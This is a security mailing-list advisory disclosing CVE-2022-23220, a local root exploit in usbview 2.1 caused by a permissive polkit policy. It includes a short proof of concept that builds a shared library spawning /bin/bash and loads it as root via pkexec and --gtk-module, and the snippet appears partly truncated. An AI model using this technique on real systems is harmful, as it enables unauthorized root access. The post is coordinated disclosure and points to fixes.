Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Fri, 21 Jan 2022 15:33:50 +0100
From: Matthias Gerstner <>
Subject: usbview polkit policy local root exploit (CVE-2022-23220)

Hello list,

this is to inform you about a local root exploit I found in usbview [1]
release 2.1. This finding was embargoed for 7 days on the linux-distros
mailing list and the fix has been published today.

The upstream author Greg KH is currently working on an improved version
of usbview that will no longer require root privileges to run.

Following is the full report:

A polkit policy file has been added to usbview release 2.1 via commit
'ddefeba' [2] (already contributed in 2016). This policy file allows to
run usbview as root via Polkit's `pkexec` utility. This is a common
usage to run GUI applications as root. However, this policy file
contains problematic authentication settings:


These settings effectively mean that only a user in a local and active
(graphical) session needs to enter a root password to run usbview as
root. Users in inactive (e.g. locked) sessions or arbitrary other users
(e.g. logged in via SSH) can run usbview as root without providing any
authentication at all.

Some further review of this situation showed that this allows for a
pretty simple local root exploit by passing the `--gtk-module` command
line parameter to usbview. For example, assuming the local user 'nobody'
is compromised:

    # Simulate a compromised nobody account
    # This needs to be run outside of a login session, e.g. from an SSH
    # shell. Alternatively one can use a "sleep 10 && pkexec ..." below
    # and then switch to another login terminal (like pressing
    # 'ctrl-alt-f1') during the execution of pkexec to mark the session
    # as inactive, causing the exploit to work as well.
    root# sudo -u nobody /bin/bash

    # build a simple shared library that executes /bin/bash upon loading
    nobody$ cd /tmp
    nobody$ gcc -fPIC -shared -x c - <<END
    #include <stdio.h>
    #include <unistd.h>

    static void exploit_init() __attribute__((constructor));

    void exploit_init() {
            execve("/bin/bash", NULL, NULL);

    # run usbview via pkexec as root, instructing GTK to load the
    # exploit library
    nobody$ pkexec /usr/bin/usbview --gtk-module=/tmp/
    # root shell obtained
    root #

Because `gtk_init()` loads modules before even attaching to the
graphical environment, no X11 session or similar is required for this
exploit to succeed.

The problematic policy file seemingly already has been packaged for a
longer time in Debian Linux. Ubuntu also used this Debian package. On
Gentoo Linux the released version 2.1 was already stable and thus
affected. Fedora uses its own, safe version of the polkit policy file.
The Arch Linux package was not updated to version 2.1 and was thus not

The fix of the policy file itself is simple [3] and another change adds
a bit of hardening of the polkit invocation on top [4]. The fixes are
available in upstream release 2.2 [5].

I stumbled over this, because the usbview package in openSUSE Tumbleweed
wanted an update to version 2.1 and this new polkit policy appeared
which requires a review by the SUSE security team.




Matthias Gerstner <>
Security Engineer
GPG Key ID: 0x14C405C971923553
SUSE Software Solutions Germany GmbH
HRB 36809, AG Nürnberg
Geschäftsführer: Ivo Totev

Download attachment "signature.asc" of type "application/pgp-signature" (834 bytes)

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.